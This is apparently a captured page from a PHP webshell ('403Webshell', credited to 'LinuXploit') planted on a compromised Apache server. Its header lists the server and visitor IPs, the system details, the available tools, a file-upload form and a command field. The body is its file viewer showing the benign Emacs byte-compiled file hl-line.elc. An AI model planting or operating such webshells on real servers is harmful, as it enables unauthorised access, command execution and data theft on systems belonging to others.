403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/hl-line.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



#@61 Overlay used by Hl-Line mode to highlight the current line.
(defvar hl-line-overlay nil (#$ . 84))
(make-variable-buffer-local 'hl-line-overlay)
#@68 Overlay used by Global-Hl-Line mode to highlight the current line.
(defvar global-hl-line-overlay nil (#$ . 235))
(make-variable-buffer-local 'global-hl-line-overlay)
#@163 Overlays used by Global-Hl-Line mode in various buffers.
Global-Hl-Line keeps displaying one overlay in each buffer
when `global-hl-line-sticky-flag' is non-nil.
(defvar global-hl-line-overlays nil (#$ . 409))
(byte-code "\300\301\302\303\304\305\306\307&\210\310\301\311\312\304\313\306\301&\210\314\315\316\317\320DD\321\322\323\306\301\324\325&	\210\314\326\316\317\327DD\330\322\331\304\313\306\301&	\210\314\332\316\317\333DD\334\322\331\304\335\306\301&	\207" [custom-declare-group hl-line nil "Highlight the current line." :version "21.1" :group convenience custom-declare-face ((t :inherit highlight :extend t)) "Default face for highlighting the current line in Hl-Line mode." "22.1" custom-declare-variable hl-line-face funcall function #[0 "\300\207" [hl-line] 1 #1=""] "Face with which to highlight the current line in Hl-Line mode." :type face :set #[514 "L\210\303 \211\203$\211@r\211q\210\304!\203\305\306	#\210)A\266\202\202\210\304\n!\2050\305\n\306	#\207" [hl-line-overlay hl-line-face global-hl-line-overlay buffer-list overlayp overlay-put face] 8 "\n\n(fn SYMBOL VALUE)"] hl-line-sticky-flag #[0 "\300\207" [t] 1 #1#] "Non-nil means the HL-Line mode highlight appears in all windows.\nOtherwise Hl-Line mode will highlight only in the selected\nwindow.  Setting this variable takes effect the next time you use\nthe command `hl-line-mode' to turn Hl-Line mode on.\n\nThis variable has no effect in Global Highlight Line mode.\nFor that, use `global-hl-line-sticky-flag'." boolean global-hl-line-sticky-flag #[0 "\300\207" [nil] 1 #1#] "Non-nil means the Global HL-Line mode highlight appears in all windows.\nOtherwise Global Hl-Line mode will highlight only in the selected\nwindow.  Setting this variable takes effect the next time you use\nthe command `global-hl-line-mode' to turn Global Hl-Line mode on." "24.1"] 10)
#@349 If non-nil, function to call to return highlight range.
The function of no args should return a cons cell; its car value
is the beginning position of highlight and its cdr value is the
end position of highlight in the buffer.
It should return nil if there's no region to be highlighted.

This variable is expected to be made buffer-local by modes.
(defvar hl-line-range-function nil (#$ . 2272))
#@64 Most recently visited buffer in which Hl-Line mode is enabled.
(defvar hl-line-overlay-buffer nil (#$ . 2674))
#@47 Priority used on the overlay used by hl-line.
(defvar hl-line-overlay-priority -50 (#$ . 2791))
#@93 Non-nil if Hl-Line mode is enabled.
Use the command `hl-line-mode' to change this variable.
(defvar hl-line-mode nil (#$ . 2893))
(make-variable-buffer-local 'hl-line-mode)
#@1049 Toggle highlighting of the current line (Hl-Line mode).

This is a minor mode.  If called interactively, toggle the `Hl-Line
mode' mode.  If the prefix argument is positive, enable the mode, and
if it is zero or negative, disable the mode.

If called from Lisp, toggle the mode if ARG is `toggle'.  Enable the
mode if ARG is nil, omitted, or is a positive number.  Disable the
mode if ARG is a negative number.

To check whether the minor mode is enabled in the current buffer,
evaluate `hl-line-mode'.

The mode's hook is called both when the mode is enabled and when it is
disabled.

Hl-Line mode is a buffer-local minor mode.  If
`hl-line-sticky-flag' is non-nil, Hl-Line mode highlights the
line about the buffer's point in all windows.  Caveat: the
buffer's point might be different from the point of a
non-selected window.  Hl-Line mode uses the function
`hl-line-highlight' on `post-command-hook' in this case.

When `hl-line-sticky-flag' is nil, Hl-Line mode highlights the
line about point in the selected window only.

(fn &optional ARG)
(defalias 'hl-line-mode #[256 "\303 \304=\203
?\202\247\203\305W\203\306\202\307\310\301!\2031\311\300	\"\2031\300	B\203K\312\313\314\306\307$\210\315 \210p\312\316\315\306\307$\210\202Z\317\316\315\307#\210\314 \210\317\313\314\307#\210\320\321\203d\322\202e\323\"\210\324\325!\203\207\303 \203y\211\303 \232\203\207\326\327\203\203\330\202\204\331\332#\210\210\333 \210\207" [hl-line-mode local-minor-modes hl-line-overlay-buffer current-message toggle 1 nil t boundp delq add-hook change-major-mode-hook hl-line-unhighlight hl-line-highlight post-command-hook remove-hook run-hooks hl-line-mode-hook hl-line-mode-on-hook hl-line-mode-off-hook called-interactively-p any message "Hl-Line mode %sabled%s" "en" "dis" " in current buffer" force-mode-line-update] 7 (#$ . 3074) (byte-code "\203\n\301!\202\302C\207" [current-prefix-arg prefix-numeric-value toggle] 2)])
(defvar hl-line-mode-hook nil)
(byte-code "\301\302N\204\f\303\301\302\304#\210\303\301\305\306#\210\303\301\307\310C#\210\311\312\310\313\300!\205#\310\211%\207" [hl-line-mode-map hl-line-mode-hook variable-documentation put "Hook run after entering or leaving `hl-line-mode'.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" custom-type hook standard-value nil add-minor-mode hl-line-mode boundp] 6)
(defalias 'hl-line-make-overlay #[0 "\302``\"\303\304#\210\303\305	#\210\207" [hl-line-overlay-priority hl-line-face make-overlay overlay-put priority face] 5])
#@51 Activate the Hl-Line overlay on the current line.
(defalias 'hl-line-highlight #[0 "\203 \303	!\204
\304 \305	\306\n?\205\307 #\210\310	!\210\311 \207\312 \207" [hl-line-mode hl-line-overlay hl-line-sticky-flag overlayp hl-line-make-overlay overlay-put window selected-window hl-line-move hl-line-maybe-unhighlight hl-line-unhighlight] 4 (#$ . 5682)])
#@53 Deactivate the Hl-Line overlay on the current line.
(defalias 'hl-line-unhighlight #[0 "\301!\205
\302!\210\303\211\207" [hl-line-overlay overlayp delete-overlay nil] 2 (#$ . 6046)])
#@175 Maybe deactivate the Hl-Line overlay on the current line.
Specifically, when `hl-line-sticky-flag' is nil deactivate all
such overlays in all buffers except the current one.
(defalias 'hl-line-maybe-unhighlight #[0 "p\303!\203	\204\211=\204\304 \204rq\210\305 \210)\306\n!\2050\307\n!=\2050\211\211\207" [hl-line-overlay-buffer hl-line-sticky-flag hl-line-overlay buffer-live-p minibufferp hl-line-unhighlight overlayp overlay-buffer] 4 (#$ . 6240)])
(byte-code "\300\301\302\303\304DD\305\306\307\310\311\312\313\314\315&\207" [custom-declare-variable global-hl-line-mode funcall function #[0 "\300\207" [nil] 1 ""] "Non-nil if Global Hl-Line mode is enabled.\nSee the `global-hl-line-mode' command\nfor a description of this minor mode.\nSetting this variable directly does not take effect;\neither customize it (see the info node `Easy Customization')\nor call the function `global-hl-line-mode'." :set custom-set-minor-mode :initialize custom-initialize-default :type boolean :group hl-line] 12)
#@875 Toggle line highlighting in all buffers (Global Hl-Line mode).

This is a minor mode.  If called interactively, toggle the `Global
Hl-Line mode' mode.  If the prefix argument is positive, enable the
mode, and if it is zero or negative, disable the mode.

If called from Lisp, toggle the mode if ARG is `toggle'.  Enable the
mode if ARG is nil, omitted, or is a positive number.  Disable the
mode if ARG is a negative number.

To check whether the minor mode is enabled in the current buffer,
evaluate `(default-value \='global-hl-line-mode)'.

The mode's hook is called both when the mode is enabled and when it is
disabled.

If `global-hl-line-sticky-flag' is non-nil, Global Hl-Line mode
highlights the line about the current buffer's point in all live
windows.

Global-Hl-Line mode uses the function `global-hl-line-highlight'
on `post-command-hook'.

(fn &optional ARG)
(defalias 'global-hl-line-mode #[256 "\302 \303\301\304=\203\305\301!?\202!\247\203 \306W\203 \307\202!\310\"\210\311\300!\2038\312\301\"\305\301!\2038\301B	\203L\313\314\315\"\210\316 \210\313\317\320\"\210\202Y\321 \210\322\317\320\"\210\322\314\315\"\210\323\324\305\301!\203e\325\202f\326\"\210\327\330!\203\216\331\301!\210\302 \203~\211\302 \232\203\216\332\333\305\301!\203\212\334\202\213\335\336#\210\210\337 \210\305\301!\207" [global-minor-modes global-hl-line-mode current-message set-default toggle default-value 1 nil t boundp delq add-hook change-major-mode-hook global-hl-line-unhighlight global-hl-line-highlight-all post-command-hook global-hl-line-highlight global-hl-line-unhighlight-all remove-hook run-hooks global-hl-line-mode-hook global-hl-line-mode-on-hook global-hl-line-mode-off-hook called-interactively-p any customize-mark-as-set message "Global Hl-Line mode %sabled%s" "en" "dis" "" force-mode-line-update] 6 (#$ . 7264) (byte-code "\203\n\301!\202\302C\207" [current-prefix-arg prefix-numeric-value toggle] 2)])
(defvar global-hl-line-mode-hook nil)
(byte-code "\301\302N\204\f\303\301\302\304#\210\303\301\305\306#\210\303\301\307\310C#\210\311\312\310\313\300!\205#\310\211%\207" [global-hl-line-mode-map global-hl-line-mode-hook variable-documentation put "Hook run after entering or leaving `global-hl-line-mode'.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" custom-type hook standard-value nil add-minor-mode global-hl-line-mode boundp] 6)
#@51 Highlight the current line in the current window.
(defalias 'global-hl-line-highlight #[0 "\205/\304 ?\205/\305	!\204\306 	\n\235\204	\nB\307	\310?\205'\311 #\210\312	!\210\313 \207" [global-hl-line-mode global-hl-line-overlay global-hl-line-overlays global-hl-line-sticky-flag window-minibuffer-p overlayp hl-line-make-overlay overlay-put window selected-window hl-line-move global-hl-line-maybe-unhighlight] 4 (#$ . 9737)])
#@49 Highlight the current line in all live windows.
(defalias 'global-hl-line-highlight-all #[0 "\300\301\302\303#\207" [walk-windows #[257 "r\300!q\210\301 )\207" [window-buffer global-hl-line-highlight] 3 "\n\n(fn W)"] nil t] 4 (#$ . 10180)])
#@60 Deactivate the Global-Hl-Line overlay on the current line.
(defalias 'global-hl-line-unhighlight #[0 "\301!\205
\302!\210\303\211\207" [global-hl-line-overlay overlayp delete-overlay nil] 2 (#$ . 10428)])
#@189 Maybe deactivate the Global-Hl-Line overlay on the current line.
Specifically, when `global-hl-line-sticky-flag' is nil deactivate
all such overlays in all buffers except the current one.
(defalias 'global-hl-line-maybe-unhighlight #[0 "\301\302\"\207" [global-hl-line-overlays mapc #[257 "\301!?\205\"\302!\205\"\211p=?\205\"\303 ?\205\"r\211q\210\304 )\207" [global-hl-line-sticky-flag overlay-buffer bufferp minibufferp global-hl-line-unhighlight] 4 "\n\n(fn OV)"]] 3 (#$ . 10644)])
#@41 Deactivate all Global-Hl-Line overlays.
(defalias 'global-hl-line-unhighlight-all #[0 "\301\302\"\210\303\211\207" [global-hl-line-overlays mapc #[257 "\300!\301!\205r\211q\210\302 )\207" [overlay-buffer bufferp global-hl-line-unhighlight] 4 "\n\n(fn OV)"] nil] 3 (#$ . 11144)])
#@225 Move the Hl-Line overlay.
If `hl-line-range-function' is non-nil, move the OVERLAY to the position
where the function returns.  If `hl-line-range-function' is nil, fill
the line including the point by OVERLAY.

(fn OVERLAY)
(defalias 'hl-line-move #[257 "\301\211\211\203 \262@\262A\262\202\"\302\262\303 \262\303\304!\262\203,\305#\207\305\306\211#\207" [hl-line-range-function nil t line-beginning-position 2 move-overlay 1] 8 (#$ . 11436)])
#@29 Unload the Hl-Line library.
(defalias 'hl-line-unload-function #[0 "\301\302!\210r\303 \211\203\211@\211q\210\203\300\302!\210A\266\202\202\210)\304\207" [hl-line-mode global-hl-line-mode -1 buffer-list nil] 4 (#$ . 11905)])
(provide 'hl-line)

Youez - 2016 - github.com/yon3zu
LinuXploit